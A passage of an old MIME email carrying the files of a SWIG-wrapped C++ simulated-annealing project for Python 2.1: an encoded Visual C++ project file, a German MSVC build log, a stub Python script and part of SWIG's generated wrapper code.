dxkASwABAQwAdG0BUAEAAACI9LIAWBzgc1CFAAAQTLAACDR7AQAAAAAAAAAAAAAAAND4pwAU
AAAA/////xQAAAAmAAAAAAAAABoAAAAOAAAA5zd7AQAAAAAAAAAAAAAAAAAAAAAAABUAAAAA
AAAAFQAAAAAAAAAAAAAAES5cc2ltYW5uZWFsZmlsZS5pJnszNDg2Njk4RC00OUVCLTExQ0Yt
QkY0Ni0wMEFBMDA0QzEyRTJ9AAAsAAAAAgAAAAMAAAD///////////z////i////QgAAAFcA
AABZAwAAAgIAAGRlbmN5RmlsZQYIFFNTQlIHY2V2YWwuaAEADwBDRGVwZW5kZW5jeUZpbGUG
CBRTU0JSC3RyYWNlYmFjay5oAQAPAENEZXBlbmRlbmN5RmlsZQYIFFNTQlIMbW9kc3VwcG9y
dC5oAQAPAENEZXBlbmRlbmN5RmlsZQYIFFNTQlIJb2JqaW1wbC5oAQAPAENEZXBlbmRlbmN5
RmlsZQYIFFNTQlIMcGF0Y2hsZXZlbC5oAQAPAENEZXBlbmRlbmN5RmlsZQYIFFNTQlIOc3Ry
aW5nb2JqZWN0LmgBAA8AQ0RlcGVuZGVuY3lGaWxlBggUU1NCUgxsaXN0b2JqZWN0LmgBAA8A
Q0RlcGVuZGVuY3lGaWxlBggUU1NCUg5tb2R1bGVvYmplY3QuaAEADwBDRGVwZW5kZW5jeUZp
bGUGCBRTU0JSC2ludG9iamVjdC5oAQAPAENEZXBlbmRlbmN5RmlsZQYIFFNTQlIJYmFzZXRz
ZC5oAQAPAENEZXBlbmRlbmN5RmlsZQYIFFNTQlILcHl0aG9ucnVuLmgBAA8AQ0RlcGVuZGVu
Y3lGaWxlBggUU1NCUghpbXBvcnQuaAEADwBDRGVwZW5kZW5jeUZpbGUGCBRTU0JSD2NvbXBs
ZXhvYmplY3QuaAEADwBDRGVwZW5kZW5jeUZpbGUGCBRTU0JSCXB5ZGVidWcuaAEADwBDRGVw
ZW5kZW5jeUZpbGUGCBRTU0JSDXNsaWNlb2JqZWN0LmgBAA8AQ0RlcGVuZGVuY3lGaWxlBggU
U1NCUgxmaWxlb2JqZWN0LmgBAA8AQ0RlcGVuZGVuY3lGaWxlBggUU1NCUgpweWVycm9ycy5o
AQAPAENEZXBlbmRlbmN5RmlsZQYIFFNTQlIIY29uZmlnLmgBAA8AQ0RlcGVuZGVuY3lGaWxl
BggUU1NCUgdweW1lbS5oAQAPAENEZXBlbmRlbmN5RmlsZQYIFFNTQlIOYnVmZmVyb2JqZWN0
LmgBAA8AQ0RlcGVuZGVuY3lGaWxlBggUU1NCUgxkaWN0b2JqZWN0LmgBAA8AQ0RlcGVuZGVu
Y3lGaWxlBggUU1NCUgUIFERKVwUIFERKVwUIFERKV2RlZmluZSBORVRfQVBJX0ZVTkNUSU9O
IF9fc3RkY2FsbAojZGVmaW5lIE5UQVBJIF9fc3RkY2FsbAojZGVmaW5lIHBhc2NhbCBfX3N0
ZGNhbGwKI2RlZmluZSBQQVNDQUwgX19zdGRjYWxsCiNkZWZpbmUgUlBDX0VOVFJZIF9fc3Rk
Y2FsbAojZGVmaW5lIFJQQ19WQVJfRU5UUlkgX19jZGVjbAojZGVmaW5lIFNJWkVfVF9NQVgg
VUlOVF9NQVgKI2RlZmluZSBTUUxfQVBJIF9fc3RkY2FsbAojZGVmaW5lIFNSVkFQSQojZGVm
aW5lIFNUREFQSSBIUkVTVUxUIFNUREFQSUNBTExUWVBFCiNkZWZpbmUgU1REQVBJXyh0eXBl
KSB0eXBlIFNUREFQSUNBTExUWVBFCiNkZWZpbmUgU1REQVBJQ0FMTFRZUEUgX19zdGRjYWxs
CiNkZWZpbmUgU1REQVBJViBIUkVTVUxUIFNUREFQSVZDQUxMVFlQRQojZGVmaW5lIFNUREFQ
SVZfKHR5cGUpIHR5cGUgU1REQVBJVkNBTExUWVBFCiNkZWZpbmUgU1REQVBJVkNBTExUWVBF
IF9fY2RlY2wKI2RlZmluZSBTVERNRVRIT0QobWV0aG9kKSB2aXJ0dWFsIEhSRVNVTFQgU1RE
TUVUSE9EQ0FMTFRZUEUgbWV0aG9kCiNkZWZpbmUgU1RETUVUSE9EXyh0eXBlLG1ldGhvZCkg
dmlydHVhbCB0eXBlIFNURE1FVEhPRENBTExUWVBFIG1ldGhvZAojZGVmaW5lIFNURE1FVEhP
RENBTExUWVBFIF9fc3RkY2FsbAojZGVmaW5lIFNURE1FVEhPRElNUCBIUkVTVUxUIFNURE1F
VEhPRENBTExUWVBFCiNkZWZpbmUgU1RETUVUSE9ESU1QXyh0eXBlKSB0eXBlIFNURE1FVEhP
RENBTExUWVBFCiNkZWZpbmUgU1RETUVUSE9ESU1QViBIUkVTVUxUIFNURE1FVEhPRFZDQUxM
VFlQRQojZGVmaW5lIFNURE1FVEhPRElNUFZfKHR5cGUpIHR5cGUgU1RETUVUSE9EVkNBTExU
WVBFCiNkZWZpbmUgU1RETUVUSE9EVkNBTExUWVBFIF9fY2RlY2wKI2RlZmluZSBTVERNQVBJ
SU5JVENBTExUWVBFIF9fY2RlY2wKI2RlZmluZSBVTkFMSUdORUQKI2RlZmluZSBWRldBUElW
CiNkZWZpbmUgV0RCR0FQSSBfX3N0ZGNhbGwKI2RlZmluZSBXSU5BUEkgX19zdGRjYWxsCiNk
ZWZpbmUgV0lOQVBJViBfX2NkZWNsCiNkZWZpbmUgV0lOT0xFQVBJIEhSRVNVTFQgU1REQVBJ
Q0FMTFRZUEUKI2RlZmluZSBXSU5PTEVBUElfKHR5cGUpIHR5cGUgU1REQVBJQ0FMTFRZUEUK
I2RlZmluZSBhZnhfbXNnCiNkZWZpbmUgQVRMX05PX1ZUQUJMRSBfX2RlY2xzcGVjKG5vdnRh
YmxlKQojZGVmaW5lIEFUTEFQSSBIUkVTVUxUCiNkZWZpbmUgQVRMQVBJXyh4KSB4CiNkZWZp
bmUgQUZYX0NERUNMIF9fY2RlY2wKI2RlZmluZSBBRlhfQ0xBU1NfRVhQT1JUIF9fZGVjbHNw
YJCzAAAAAAABAQEBAQEIAEVfRVgoY2xhc3NfbmFtZSkKI2RlZmluZSBERUNMQVJFX09MRUNU
TFRZUEUoY2xhc3NfbmFtZSkKI2RlZmluZSBERUNMQVJFX09MRVRZUEVMSUIoY2xhc3NfbmFt
ZSkKI2RlZmluZSBERUNMQVJFX09OTFlfQUdHUkVHQVRBQkxFKHgpCiNkZWZpbmUgREVDTEFS
RV9PUEFRVUUzMih4KQojZGVmaW5lIERFQ0xBUkVfUEFSU0VfTUFQKCkKI2RlZmluZSBERUNM
QVJFX1BPTFlfQUdHUkVHQVRBQkxFKHgpCiNkZWZpbmUgREVDTEFSRV9QUk9QRVJUWV9TVVBQ
T1JUKGNsYXNzKQojZGVmaW5lIERFQ0xBUkVfUFJPUFBBR0VJRFMoY2xhc3NfbmFtZSkKI2Rl
ZmluZSBERUNMQVJFX1BST1RFQ1RfRklOQUxfQ09OU1RSVUNUKCkKI2RlZmluZSBERUNMQVJF
X1JFR0lTVFJZKGNsYXNzLCBwaWQsIHZwaWQsIG5pZCwgZmxhZ3MpCiNkZWZpbmUgREVDTEFS
RV9SRUdJU1RSWV9SRVNPVVJDRSh4KQojZGVmaW5lIERFQ0xBUkVfUkVHSVNUUllfUkVTT1VS
Q0VJRCh4KQojZGVmaW5lIERFQ0xBUkVfU0VSSUFMKGNsYXNzX25hbWUpCiNkZWZpbmUgREVD
TEFSRV9TVEFUSUNfUkVHSVNUUllfUkVTT1VSQ0UoeCkKI2RlZmluZSBERUNMQVJFX1NUQVRJ
Q19SRUdJU1RSWV9SRVNPVVJDRUlEKHgpCiNkZWZpbmUgREVDTEFSRV9WSUVXX1NUQVRVUyhz
dGF0dXNGbGFncykKI2RlZmluZSBERUNMQVJFX1dORF9DTEFTUyhXbmRDbGFzc05hbWUpCiNk
ZWZpbmUgREVDTEFSRV9XTkRfU1VQRVJDTEFTUyhXbmRDbGFzc05hbWUsIE9yaWdXbmRDbGFz
c05hbWUpCiNkZWZpbmUgREVGSU5FX0NPTU1BTkQoeCwgc3pDb21tYW5kKQojZGVmaW5lIERF
TEVHQVRFX0RVQUxfSU5URVJGQUNFKG9iamVjdENsYXNzLCBkdWFsQ2xhc3MpCiNkZWZpbmUg
RU5EX0NPTk5FQ1RJT05fUEFSVChsb2NhbENsYXNzKSB9IG1feCMjbJQDAQIBAGFzGGm0AHgB
AwBkIGNsYXNzIFgjI2xvY2FsQ2xhc3M7CiNkZWZpbmUgRU5EX0RVQUxfSU5URVJGQUNFX1BB
UlQobG9jYWxDbGFzcykgfSBtX3gjI2xvY2FsQ2xhc3M7IGZyaWVuZCBjbGFzcyBYIyNsb2Nh
bENsYXNzOwojZGVmaW5lIEVORF9JTlRFUkZBQ0VfUEFSVChsb2NhbENsYXNzKSB9IG1feCMj
bG9jYWxDbGFzczsgZnJpZW5kIGNsYXNzIFgjI2xvY2FsQ2xhc3M7CiNkZWZpbmUgRVhURVJO
X1BST0NFU1NfTE9DQUwoY2xhc3NfbmFtZSwgaWRlbnRfbmFtZSkgZXh0ZXJuIEFGWF9EQVRB
IFBST0NFU1NfTE9DQUwoY2xhc3NfbmFtZSwgaWRlbnRfbmFtZSkKI2RlZmluZSBFWFRfU05B
UElOTUVOVUlEKGlkKQojZGVmaW5lIElNUExFTUVOVF9EVUFMX0VSUk9SSU5GTyhvYmplY3RD
bGFzcywgcmlpZFNvdXJjZSkKI2RlZmluZSBJTVBMRU1FTlRfRFlOQU1JQyhjbGFzc19uYW1l
LCBiYXNlX2NsYXNzX25hbWUpCiNkZWZpbmUgSU1QTEVNRU5UX0RZTkNSRUFURShjbGFzc19u
YW1lLCBiYXNlX2NsYXNzX25hbWUpCiNkZWZpbmUgSU1QTEVNRU5UX09MRUNSRUFURShjbGFz
c19uYW1lLCBleHRlcm5hbF9uYW1lLCBsLCB3MSwgdzIsIGIxLCBiMiwgYjMsIGI0LCBiNSwg
YjYsIGI3LCBiOCkKI2RlZmluZSBJTVBMRU1FTlRfT0xFQ1JFQVRFX0VYKGNsYXNzX25hbWUs
IGV4dGVybmFsX25hbWUsIGwsIHcxLCB3MiwgYjEsIGIyLCBiMywgYjQsIGI1LCBiNiwgYjcs
IGI4KQojZGVmaW5lIElNUExFTUVOVF9PTEVDVExUWVBFKGNsYXNzX25hbWUsIGlkc1VzZXJU
eXBlTmFtZSwgZHdPbGVNaXNjKQojZGVmaW5lIElNUExFTUVOVF9PTEVUWVBFTElCKGNsYXNz
X25hbWUsIHRsaWQsIHdWZXJNYWpvciwgd1Zlck1pbm9yKQojZGVmaW5lIElNUExFTUVOVF9T
RVJJQUwoY2xhc3NfbmFtZSwgYmFzZV9jbGFzc19uYW1lLCB3U2NoZW1hKQojZGVmaW5lIElO
SVRfSU5URVJGQUNFX1BBUlQodGhlQ2xhc3MsIGxvY2FsQ2xhc3MpCiNkZWZpbmUgUFJPQ0VT
U19MT0NBTChjbGFzc19uYW1lLCBpZGVudF9uYW1lKSBBRlhfREEUA4ECAQBDUBhptAB4AQMA
Y2FsPGNsYXNzX25hbWU+IGlkZW50X25hbWU7CiNkZWZpbmUgUFVSRSA9IDAKI2RlZmluZSBT
TkFQSU5NRU5VSUQoaWQpCiNkZWZpbmUgVEhJUyB2b2lkCiNkZWZpbmUgVEhJU18KI2RlZmlu
ZSBUUshGtAAAAAAAAQECAgEBCABZIHRyeSB7CiNkZWZpbmUgQ0FUQ0goY2xhc3NfbmFtZSwg
ZSkgfSBjYXRjaCAoY2xhc3NfbmFtZSAqIGUpIHsKI2RlZmluZSBBTkRfQ0FUQ0goY2xhc3Nf
bmFtZSwgZSkgfSBjYXRjaCAoY2xhc3NfbmFtZSAqIGUpIHsKI2RlZmluZSBFTkRfQ0FUQ0gg
fQojZGVmaW5lIENBVENIX0FMTChlKSB9IGNhdGNoIChDRXhjZXB0aW9uKiBlKSB7CiNkZWZp
bmUgQU5EX0NBVENIX0FMTChlKSB9IGNhdGNoIChDRXhjZXB0aW9uKiBlKSB7CiNkZWZpbmUg
RU5EX0NBVENIX0FMTCB9CiNkZWZpbmUgQkVHSU5fQ09MVU1OX01BUCh4KSBjbGFzcyBfX05D
Ql9fQ09MVU1OXyMjeCA6IHB1YmxpYyBDT0xVTU4gewojZGVmaW5lIEVORF9DT0xVTU5fTUFQ
KCkgfTsKI2RlZmluZSBCRUdJTl9DT05UUk9MX01BUCh4KSBjbGFzcyBfX05DQl9fQ09OVFJP
TF8jI3ggOiBwdWJsaWMgQ09OVFJPTCB7CiNkZWZpbmUgRU5EX0NPTlRST0xfTUFQKCkgfTsK
I2RlZmluZSBCRUdJTl9DT01fTUFQKHgpIGNsYXNzIF9fTkNCX19DT01fIyN4IDogcHVibGlj
IENPTSB7CiNkZWZpbmUgRU5EX0NPTV9NQVAoKSB9OwojZGVmaW5lIEJFR0lOX0NPTk5FQ1RJ
T05fUE9JTlRfTUFQKHgpIGNsYXNzIF9fTkNCX19DT05ORUNUSU9OUE9JTlRfIyN4IDogcHVi
bGljIENPTk5FQ1RJT05fUE9JTlQgewojZGVmaW5lIEVORF9DT05ORUNUSU9OX1BPSU5UX01B
UCgpIH07CiNkZWZpbmUgQkVHSU5fRVhURU5TSU9OX1NOQVBJTl9OT0RFSU5GT19NQVAoeCkg
Y2xhc3MgX19OQ0JfX0VYVEVOU0lPTlNOQVBJTk5PREVJTkZPXyMjeCA6IHB1YmxpYyBFWFRF
TlNJT05fU05BUElOX05PREVJTkZPIHsKI2RlZmluZSBFTkRfRVhURU5TSU9OX1NOQVBJTl9O
T0RFSU5GT19NQVAoKSB9OwojZGVmaW5lIEJFR0lOX0ZJTFRF
--------------090302080802010307050504
Content-Type: text/html;
 name="simannealfile.plg"
Content-Transfer-Encoding: 8bit
Content-Disposition: inline;
 filename="simannealfile.plg"

<html>
<body>
<pre>
<h1>Erstellungsprotokoll</h1>
<h3>
--------------------Konfiguration: simannealfile - Win32 Debug--------------------
</h3>
<h3>Befehlszeilen</h3>
Erstellen der temporären Datei  "C:\DOKUME~1\MKONER~1\LOKALE~1\Temp\RSP137.bat" mit Inhalten
[
@echo off
echo In order to function correctly, please ensure the following environment variables are correctly set:
echo PYTHON_INCLUDE: %PYTHON_INCLUDE%
echo PYTHON_LIB: %PYTHON_LIB%
echo on
swig -python -c++ -o .\simannealfile_wrap.cpp .\simannealfile.i
]
Erstellen der Befehlzeile "C:\DOKUME~1\MKONER~1\LOKALE~1\Temp\RSP137.bat"
Erstellen der temporären Datei  "C:\DOKUME~1\MKONER~1\LOKALE~1\Temp\RSP138.tmp" mit Inhalten
[
/nologo /MTd /W3 /GX /Od /I "c:\python21\include" /D "WIN32" /D "NDEBUG" /D "_WINDOWS" /D "_MBCS" /D "_USRDLL" /D "SIMANNEALFILE_EXPORTS" /Fp"Debug/simannealfile.pch" /YX /Fo"Debug/" /Fd"Debug/" /FD /GZ /c 
"C:\Arbeit_Diplomarbeit\__Optimierer\TEM\simannealfile\basisfile.cpp"
"C:\Arbeit_Diplomarbeit\__Optimierer\TEM\simannealfile\calculate.cpp"
"C:\Arbeit_Diplomarbeit\__Optimierer\TEM\simannealfile\evaluate.cpp"
"C:\Arbeit_Diplomarbeit\__Optimierer\TEM\simannealfile\safe_string.cpp"
"C:\Arbeit_Diplomarbeit\__Optimierer\TEM\simannealfile\simannealfile.cpp"
"C:\Arbeit_Diplomarbeit\__Optimierer\TEM\simannealfile\simannealfile_wrap.cpp"
"C:\Arbeit_Diplomarbeit\__Optimierer\TEM\simannealfile\variable.cpp"
]
Creating command line "cl.exe @C:\DOKUME~1\MKONER~1\LOKALE~1\Temp\RSP138.tmp" 
SWIG Routine
In order to function correctly, please ensure the following environment variables are correctly set:
PYTHON_INCLUDE: c:\python21\include
PYTHON_LIB: c:\python21\libs\python21.lib

C:\Arbeit_Diplomarbeit\__Optimierer\TEM\simannealfile>swig -python -c++ -o .\simannealfile_wrap.cpp .\simannealfile.i 
Erstellen der temporären Datei  "C:\DOKUME~1\MKONER~1\LOKALE~1\Temp\RSP139.tmp" mit Inhalten
[
kernel32.lib user32.lib gdi32.lib winspool.lib comdlg32.lib advapi32.lib shell32.lib ole32.lib oleaut32.lib uuid.lib odbc32.lib odbccp32.lib c:\python21\libs\python21.lib /nologo /dll /incremental:no /pdb:"Debug/simannealfile.pdb" /machine:I386 /out:"simannealfile.dll" /implib:"Debug/simannealfile.lib" /libpath:"C:\Python21\libs" 
.\Debug\basisfile.obj
.\Debug\calculate.obj
.\Debug\evaluate.obj
.\Debug\safe_string.obj
.\Debug\simannealfile.obj
.\Debug\simannealfile_wrap.obj
.\Debug\variable.obj
]
Erstellen der Befehlzeile "link.exe @C:\DOKUME~1\MKONER~1\LOKALE~1\Temp\RSP139.tmp"
<h3>Ausgabefenster</h3>
Kompilierung läuft...
basisfile.cpp
calculate.cpp
evaluate.cpp
safe_string.cpp
simannealfile.cpp
simannealfile_wrap.cpp
variable.cpp
Linker-Vorgang läuft...
   Bibliothek Debug/simannealfile.lib und Objekt Debug/simannealfile.exp wird erstellt



<h3>Ergebnisse</h3>
simannealfile.dll - 0 Fehler, 0 Warnung(en)
</pre>
</body>
</html>

--------------090302080802010307050504
Content-Type: text/plain;
 name="simannealfile.py"
Content-Transfer-Encoding: 7bit
Content-Disposition: inline;
 filename="simannealfile.py"

#import string,re,sys,glob,operator
import simannealfile

#instance1=simannealfile.simulated_annealing

#print 'test=',instance1


--------------090302080802010307050504
Content-Type: text/plain;
 name="simannealfile_wrap.cpp"
Content-Transfer-Encoding: 7bit
Content-Disposition: inline;
 filename="simannealfile_wrap.cpp"

/* ----------------------------------------------------------------------------
 * This file was automatically generated by SWIG (http://www.swig.org).
 * Version 1.3.9u-20010926-0849
 * 
 * This file is not intended to be easily readable and contains a number of 
 * coding conventions designed to improve portability and efficiency. Do not make
 * changes to this file unless you know what you are doing--modify the SWIG 
 * interface file instead. 
 * ----------------------------------------------------------------------------- */

#define SWIGPYTHON
/***********************************************************************
 * common.swg
 *
 *     This file contains generic SWIG runtime support for pointer
 *     type checking as well as a few commonly used macros to control
 *     external linkage.
 *
 * Author : David Beazley (beazley@cs.uchicago.edu)
 *
 * Copyright (c) 1999-2000, The University of Chicago
 * 
 * This file may be freely redistributed without license or fee provided
 * this copyright message remains intact.
 ************************************************************************/

#include <string.h>

#if defined(_WIN32) || defined(__WIN32__)
#       if defined(_MSC_VER)
#               if defined(STATIC_LINKED)
#                       define SWIGEXPORT(a) a
#               else
#                       define SWIGEXPORT(a) __declspec(dllexport) a
#               endif
#       else
#               if defined(__BORLANDC__)
#                       define SWIGEXPORT(a) a _export
#               else
#                       define SWIGEXPORT(a) a
#       endif
#endif
#else
#       define SWIGEXPORT(a) a
#endif

#ifdef SWIG_GLOBAL
#define SWIGRUNTIME(a) SWIGEXPORT(a)
#else
#define SWIGRUNTIME(a) static a
#endif

typedef void *(*swig_converter_func)(void *);

#ifdef __cplusplus
extern "C" {
#endif

typedef struct swig_type_info {
  const char  *name;                 
  swig_converter_func converter;
  const char  *str;
  struct swig_type_info  *next;
  struct swig_type_info  *prev;
} swig_type_info;

#ifdef SWIG_NOINCLUDE
SWIGEXPORT(swig_type_info *) SWIG_TypeRegister(swig_type_info *);
SWIGEXPORT(swig_type_info *) SWIG_TypeCheck(char *c, swig_type_info *);
SWIGEXPORT(void *) SWIG_TypeCast(swig_type_info *, void *);
SWIGEXPORT(swig_type_info *) SWIG_TypeQuery(const char *);
#else

static swig_type_info *swig_type_list = 0;

/* Register a type mapping with the type-checking */
SWIGRUNTIME(swig_type_info *)
SWIG_TypeRegister(swig_type_info *ti)
{
  swig_type_info *tc, *head, *ret, *next;
  /* Check to see if this type has already been registered */
  tc = swig_type_list;
  while (tc) {
    if (strcmp(tc->name, ti->name) == 0) {
      /* Already exists in the table.  Just add additional types to the list */
      head = tc;
      next = tc->next;
      goto l1;
    }
    tc = tc->prev;
  }
  head = ti;
  next = 0;

  /* Place in list */
  ti->prev = swig_type_list;
  swig_type_list = ti;

  /* Build linked lists */
 l1:
  ret = head;
  tc = ti + 1;
  /* Patch up the rest of the links */
  while (tc->name) {
    head->next = tc;
    tc->prev = head;
    head = tc;
    tc++;
  }
  head->next = next;
  return ret;
}

/* Check the typename */
SWIGRUNTIME(swig_type_info *) 
SWIG_TypeCheck(char *c, swig_type_info *ty)
{
  swig_type_info *s;
  if (!ty) return 0;        /* Void pointer */
  s = ty->next;             /* First element always just a name */
  while (s) {
    if (strcmp(s->name,c) == 0) {
      if (s == ty->next) return s;
      /* Move s to the top of the linked list */
      s->prev->next = s->next;
      if (s->next) {
	s->next->prev = s->prev;
      }
      /* Insert s as second element in the list */
      s->next = ty->next;
      if (ty->next) ty->next->prev = s;
      ty->next = s;
      return s;
    }
    s = s->next;
  }
  return 0;
}

/* Cast a pointer (needed for C++ inheritance */
SWIGRUNTIME(void *) 
SWIG_TypeCast(swig_type_info *ty, void *ptr) 
{
  if ((!ty) || (!ty->converter)) return ptr;
  return (*ty->converter)(ptr);
}

/* Search for a swig_type_info structure */
SWIGRUNTIME(swig_type_info *)
SWIG_TypeQuery(const char *name) {
  swig_type_info *ty = swig_type_list;
  while (ty) {
    if (ty->str && (strcmp(name,ty->str) == 0)) return ty;
    if (ty->name && (strcmp(name,ty->name) == 0)) return ty;
    ty = ty->prev;
  }
  return 0;
}

#endif

#ifdef __cplusplus
}
#endif



/***********************************************************************
 * python.swg
 *
 *     This file contains the runtime support for Python modules
 *     and includes code for managing global variables and pointer
 *     type checking.
 *
 * Author : David Beazley (beazley@cs.uchicago.edu)
 ************************************************************************/

#include <stdlib.h>
#include "Python.h"

#ifdef __cplusplus
extern "C" {
#endif

#define SWIG_PY_INT     1
#define SWIG_PY_FLOAT   2
#define SWIG_PY_STRING  3
#define SWIG_PY_POINTER 4

/* Constant information structure */
typedef struct swig_const_info {
    int type;
    char *name;
    long lvalue;
    double dvalue;
    void   *pvalue;
    swig_type_info **ptype;
} swig_const_info;

#ifdef SWIG_NOINCLUDE

SWIGEXPORT(PyObject *)        SWIG_newvarlink();
SWIGEXPORT(void)              SWIG_addvarlink(PyObject *, char *, PyObject *(*)(void), int (*)(PyObject *));
SWIGEXPORT(int)               SWIG_ConvertPtr(PyObject *, void **, swig_type_info *, int);
SWIGEXPORT(int)               SWIG_ConvertPacked(PyObject *, void *, int sz, swig_type_info *, int);
SWIGEXPORT(char *)            SWIG_PackData(char *c, void *, int);
SWIGEXPORT(char *)            SWIG_UnpackData(char *c, void *, int);
SWIGEXPORT(PyObject *)        SWIG_NewPointerObj(void *, swig_type_info *);
SWIGEXPORT(PyObject *)        SWIG_NewPackedObj(void *, int sz, swig_type_info *);
SWIGEXPORT(void)              SWIG_InstallConstants(PyObject *d, swig_const_info constants[]);

#else

/* -----------------------------------------------------------------------------
 * global variable support code.
 * ----------------------------------------------------------------------------- */

typedef struct swig_globalvar {   
  char       *name;                  /* Name of global variable */
  PyObject *(*get_attr)(void);       /* Return the current value */
  int       (*set_attr)(PyObject *); /* Set the value */
  struct swig_globalvar *next;
} swig_globalvar;

typedef struct swig_varlinkobject {
  PyObject_HEAD
  swig_globalvar *vars;
} swig_varlinkobject;

static PyObject *
swig_varlink_repr(swig_varlinkobject *v) {
  v = v;
  return PyString_FromString("<Global variables>");
}

static int
swig_varlink_print(swig_varlinkobject *v, FILE *fp, int flags) {
  swig_globalvar  *var;
  flags = flags;
  fprintf(fp,"Global variables { ");
  for (var = v->vars; var; var=var->next) {
    fprintf(fp,"%s", var->name);
    if (var->next) fprintf(fp,", ");
  }
  fprintf(fp," }\n");
  return 0;
}

static PyObject *
swig_varlink_getattr(swig_varlinkobject *v, char *n) {
  swig_globalvar *var = v->vars;
  while (var) {
    if (strcmp(var->name,n) == 0) {
      return (*var->get_attr)();
    }
    var = var->next;
  }
  PyErr_SetString(PyExc_NameError,"Unknown C global variable");
  return NULL;
}

static int
swig_varlink_setattr(swig_varlinkobject *v, char *n, PyObject *p) {
  swig_globalvar *var = v->vars;
  while (var) {
    if (strcmp(var->name,n) == 0) {
      return (*var->set_attr)(p);
    }
    var = var->next;
  }
  PyErr_SetString(PyExc_NameError,"Unknown C global variable");
  return 1;
}

statichere PyTypeObject varlinktype = {
  PyObject_HEAD_INIT(0)              
  0,
  (char *)"swigvarlink",                      /* Type name    */
  sizeof(swig_varlinkobject),         /* Basic size   */
  0,                                  /* Itemsize     */
  0,                                  /* Deallocator  */ 
  (printfunc) swig_varlink_print,     /* Print        */
  (getattrfunc) swig_varlink_getattr, /* get attr     */
  (setattrfunc) swig_varlink_setattr, /* Set attr     */
  0,                                  /* tp_compare   */
  (reprfunc) swig_varlink_repr,       /* tp_repr      */    
  0,                                  /* tp_as_number */
  0,                                  /* tp_as_mapping*/
  0,                                  /* tp_hash      */
};

/* Create a variable linking object for use later */
SWIGRUNTIME(PyObject *)
SWIG_newvarlink(void) {
  swig_varlinkobject *result = 0;
  result = PyMem_NEW(swig_varlinkobject,1);
  varlinktype.ob_type = &PyType_Type;    /* Patch varlinktype into a PyType */
  result->ob_type = &varlinktype;
  result->vars = 0;
  result->ob_refcnt = 0;
  Py_XINCREF((PyObject *) result);
  return ((PyObject*) result);
}

SWIGRUNTIME(void)
SWIG_addvarlink(PyObject *p, char *name,
	   PyObject *(*get_attr)(void), int (*set_attr)(PyObject *p)) {
  swig_varlinkobject *v;
  swig_globalvar *gv;
  v= (swig_varlinkobject *) p;
  gv = (swig_globalvar *) malloc(sizeof(swig_globalvar));
  gv->name = (char *) malloc(strlen(name)+1);
  strcpy(gv->name,name);
  gv->get_attr = get_attr;
  gv->set_attr = set_attr;
  gv->next = v->vars;
  v->vars = gv;
}

/* Pack binary data into a string */
SWIGRUNTIME(char *)
SWIG_PackData(char *c, void *ptr, int sz) {
  static char hex[17] = "0123456789abcdef";
  int i;
  unsigned char *u = (unsigned char *) ptr;
  register unsigned char uu;
  for (i = 0; i < sz; i++,u++) {
    uu = *u;
    *(c++) = hex[(uu & 0xf0) >> 4];
    *(c++) = hex[uu & 0xf];
  }
  return c;
}

/* Unpack binary data from a string */
SWIGRUNTIME(char *)
SWIG_UnpackData(char *c, void *ptr, int sz) {
  register unsigned char uu;
  register int d;
  unsigned char *u = (unsigned char *) ptr;
  int i;
  for (i = 0; i < sz; i++, u++) {
    d = *(c++);
    if ((d >= '0') && (d <= '9'))
      uu = ((d - '0') << 4);
    else if ((d >= 'a') && (d <= 'f'))
      uu = ((d - ('a'-10)) << 4);
    d = *(c++);
    if ((d >= '0') && (d <= '9'))
      uu |= (d - '0');
    else if ((d >= 'a') && (d <= 'f'))
      uu |= (d - ('a'-10));
    *u = uu;
  }
  return c;
}

/* Convert a pointer value */
SWIGRUNTIME(int)
SWIG_ConvertPtr(PyObject *obj, void **ptr, swig_type_info *ty, int flags) {
  swig_type_info *tc;
  char  *c;
  static PyObject *SWIG_this = 0;
  int    newref = 0;

  if (!obj) return 0;
  if (obj == Py_None) {
    *ptr = 0;
    return 0;
  }
#ifdef SWIG_COBJECT_TYPES
  if (!(PyCObject_Check(obj))) {
    if (!SWIG_this)
      SWIG_this = PyString_InternFromString("this");
    obj = PyObject_GetAttr(obj,SWIG_this);
    newref = 1;
    if (!obj) goto type_error;
    if (!PyCObject_Check(obj)) {
      Py_DECREF(obj);
      goto type_error;
    }
  } 
  *ptr = PyCObject_AsVoidPtr(obj);
  c = (char *) PyCObject_GetDesc(obj);
  if (newref) Py_DECREF(obj);
  goto cobject;
#else
  if (!(PyString_Check(obj))) {
    if (!SWIG_this)
      SWIG_this = PyString_InternFromString("this");
    obj = PyObject_GetAttr(obj,SWIG_this);
    newref = 1;
    if (!obj) goto type_error;
    if (!PyString_Check(obj)) {
      Py_DECREF(obj);
      goto type_error;
    }
  } 
  c = PyString_AsString(obj);
  /* Pointer values must start with leading underscore */
  if (*c != '_') {
    *ptr = (void *) 0;
    if (strcmp(c,"NULL") == 0) {
      if (newref) Py_DECREF(obj);
      return 0;
    } else {
      if (newref) Py_DECREF(obj);
      goto type_error;
    }
  }
  c++;
  c = SWIG_UnpackData(c,ptr,sizeof(void *));
  if (newref) Py_DECREF(obj);
#endif

#ifdef SWIG_COBJECT_TYPES
cobject:
#endif

  if (ty) {
    tc = SWIG_TypeCheck(c,ty);
    if (!tc) goto type_error;
    *ptr = SWIG_TypeCast(tc,(void*) *ptr);
  }
  return 0;

type_error:
  if (flags) {
    if (ty) {
      char *temp = (char *) malloc(64+strlen(ty->name));
      sprintf(temp,"Type error. Expected %s", ty->name);
      PyErr_SetString(PyExc_TypeError, temp);
      free((char *) temp);
    } else {
      PyErr_SetString(PyExc_TypeError,"Expected a pointer");
    }
  }
  return -1;
}

/* Convert a packed value value */
SWIGRUNTIME(int)
SWIG_ConvertPacked(PyObject *obj, void *ptr, int sz, swig_type_info *ty, int flags) {
  swig_type_info *tc;
  char  *c;

  if ((!obj) || (!PyString_Check(obj))) goto type_error;
  c = PyString_AsString(obj);
  /* Pointer values must start with leading underscore */
  if (*c != '_') goto type_error;
  c++;
  c = SWIG_UnpackData(c,ptr,sz);
  if (ty) {
    tc = SWIG_TypeCheck(c,ty);
    if (!tc) goto type_error;
  }
  return 0;

type_error:

  if (flags) {
    if (ty) {
      char *temp = (char *) malloc(64+strlen(ty->name));
      sprintf(temp,"Type error. Expected %s", ty->name);
      PyErr_SetString(PyExc_TypeError, temp);
      free((char *) temp);
    } else {
      PyErr_SetString(PyExc_TypeError,"Expected a pointer");
    }
  }
  return -1;
}

/* Create a new pointer object */
SWIGRUNTIME(PyObject *)
SWIG_NewPointerObj(void *ptr, swig_type_info *type) {
  PyObject *robj;
  if (!ptr) {
    Py_INCREF(Py_None);
    return Py_None;
  }
#ifdef SWIG_COBJECT_TYPES
